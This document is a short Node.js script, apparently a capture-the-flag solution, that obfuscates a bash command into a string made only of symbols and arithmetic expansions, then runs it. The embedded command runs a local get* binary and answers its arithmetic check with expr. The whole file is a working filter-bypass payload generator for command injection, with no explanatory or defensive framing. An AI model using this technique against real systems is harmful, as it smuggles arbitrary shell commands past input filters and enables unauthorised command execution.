bashfuck.js

var cp = require("child_process");

var words = ["bash","-c","a=/tmp/gt\nb=>(./get* > $a)\nexpr $(sed -n 2p $a) > $b\ncat $a"];

var cmd = "${!#}<<<{";

for (var w=0;w<words.length;w++) {
	var target_cmd=words[w];
	cmd+="\\$\\'";
	for (var i=0;i<target_cmd.length;i++) {
		var bin = parseInt(target_cmd.charCodeAt(i).toString(8),10).toString(2);

		var number = "\\\\$(($((!$#<<!$#))#"+bin.replace(/0/g,"$#").replace(/1/g,"$((!$#))")+"))";
		cmd+=number;
	}
	cmd+="\\',"
}
cmd+="}";
console.log(cmd);
console.log(cmd.length);

var res = cp.spawnSync("/bin/bash",["-c",cmd],{encoding:"ascii"});

if (res.stdout)
	console.log("[OUT]"+res.stdout)
if (res.stderr)
	console.log("[ERR]"+res.stderr);